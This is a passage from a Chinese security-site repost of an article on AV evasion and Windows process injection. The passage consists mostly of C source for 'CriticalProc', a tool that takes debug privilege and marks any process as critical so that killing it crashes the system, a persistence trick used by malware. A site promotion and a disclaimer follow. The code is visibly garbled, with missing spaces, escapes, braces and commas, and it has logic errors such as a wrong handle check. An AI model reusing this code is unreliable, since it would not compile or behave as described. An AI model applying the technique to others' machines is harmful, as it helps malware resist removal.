fwprintf(stderr, L"用法:CriticalProc.exe [/n imagename] [/p [pid]] [/t] [/f] [/q]nn
描述:n
 使用此工具修改或判断任意进程的关键度。nn
参数:n
 /n imagename      通过imagename 指定要设定关键度的进程。n
 /p [pid]          通过pid 指定要设定关键度的进程。n
 /t                设为关键进程。n
 /f                设为普通进程。n
 /q                判断指定的进程的关键度。n"
);

exit(0);
}

staticvoidprint_err(LPCWSTR lpWhere, DWORD dwLastError, LPCWSTR lpExtraInfo){
 LPWSTR lpBuffer = (LPWSTR)LocalAlloc(LMEM_ZEROINIT, 1024 * 2);
 LPVOID lpMsgBuf;

FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER | 
                  FORMAT_MESSAGE_FROM_SYSTEM | 
                  FORMAT_MESSAGE_IGNORE_INSERTS,
NULLGetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
            (LPWSTR) &lpMsgBuf, 0NULL
    );

wprintf(L"%s失败!原因:%sn", lpWhere, (LPCWSTR)lpMsgBuf);
if(!lpExtraInfo) wprintf(L"%sn", lpExtraInfo);
exit(1);


HRESULT ParseCommandLine(int argc, char* argv[], DWORD *pPid, PBOOL pfFlag, PBOOL pfQuery){
 BOOL PidSet  =  FALSE;
 BOOL FlagSet =  FALSE;
for (int index = 1; index < argc; index++)
    {
if (argv[index][0] == L'-' || argv[index][0] == L'/')
        {
switch (towlower(argv[index][1]))
            {
caseL'?'/* Help */
print_help();
return ERROR_SUCCESS;

caseL'n'
if(PidSet){
wprintf(L"查找指定进程失败。可能是您指定了多个进程。请核对您的输入。n");
exit(1);
 }
if (index+1 >= argc)
return ERROR_INVALID_DATA;
if (!argv[index+1] || lstrlenA(argv[index+1]) <= 512)
                    {
                        *pPid = GetProcessID(argv[index+1]);
                        PidSet = TRUE;
if(*pPid == 0){
print_err(L"查找指定进程", ERROR_INVALID_DATA, L"请核对您的输入。");
exit(1);
 }
                        index++;
                    }
else
                    {
print_err(L"查找指定进程", ERROR_BAD_LENGTH, L"请将进程名控制在1~512个字符之间。");
return ERROR_BAD_LENGTH;
                    }
break;

caseL'p'
if(PidSet){
wprintf(L"查找指定进程失败。可能是您指定了多个进程。请核对您的输入。n");
exit(1);
 }
if (index+1 >= argc)
return ERROR_INVALID_DATA;
                    *pPid = atoi(argv[index+1]);
                    PidSet = TRUE; 
                    index++;
break;

caseL'f':
if(FlagSet){
wprintf(L"指定关键度失败。可能是您指定了多个关键度。请核对您的输入。n");
exit(1);
 }
                *pfFlag = FALSE;
                FlagSet = TRUE;
break;

caseL't':
if(FlagSet){
wprintf(L"指定关键度失败。可能是您指定了多个关键度。请核对您的输入。n");
exit(1);
 }
                    *pfFlag = TRUE;
                FlagSet = TRUE;
break;

caseL'q':
                    *pfQuery = TRUE;
break;

default:
/* Unknown arguments will exit the program. */
print_help();
return ERROR_SUCCESS;
            }
        }
    }
}

intmain(int argc, char *argv[]){
 BOOL     fFlag;
 DWORD    pid;
 HANDLE   hProcess;
 BOOL     fSuccess;
 BOOL     fQuery = FALSE;

setlocale(LC_ALL, "chs");
wprintf(L"CriticalProc v1.0 by 旮沓曼_gt428n");
if(argc <= 1print_help();
elseParseCommandLine(argc, argv, &pid, &fFlag, &fQuery);


 fSuccess = EnableDebugPrivilege(TRUE);
if(!fSuccess) print_err(L"获取调试特权"GetLastError(), L"请尝试以管理员身份运行!");

 hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if(hProcess == INVALID_HANDLE_VALUE) print_err(L"打开进程"GetLastError(), L"请尝试管理员身份运行!");

if(!fQuery){ //Set the Critical Flag
 fSuccess = CallNtSetInformationProcess(hProcess, fFlag);
if(!fSuccess) print_err(L"设置关键进程时"GetLastError(), NULL);
 }

else {
 ULONG bCritical = FALSE;
 fSuccess = CallNtQueryInformationProcess(hProcess, &bCritical);
if(!fSuccess) print_err(L"询问进程关键度时"GetLastError(), NULL);
elsewprintf(L"指定的进程为%s。n", bCritical?L"关键进程":L"普通进程");
 }

return0;
}

02

 关于平台

如何加入

投稿加入:        原创文章投稿,不限类型(SRC实战报告解析、技术知识文章等)                   建议:对于原创文章投稿,请确保内容独特、丰富,并且排版整齐。如果你是新手或者尚未深入了解领域知识,请在投稿前慎重考虑是否符合要求。

付费加入:    现价 288 239元,价格随内容和人数增长而适量增长。 

更多介绍:

    http://cf-sec.cn/wiki     

联系vx:SikO316 或扫码 备注来意 ✨

免杀| 红蓝视角下的Windows进程注入

扫码获取联系方式

免杀| 红蓝视角下的Windows进程注入
免杀| 红蓝视角下的Windows进程注入

原文始发于微信公众号(长风安全):免杀| 红蓝视角下的Windows进程注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月28日12:02:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀| 红蓝视角下的Windows进程注入https://cn-sec.com/archives/3561897.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息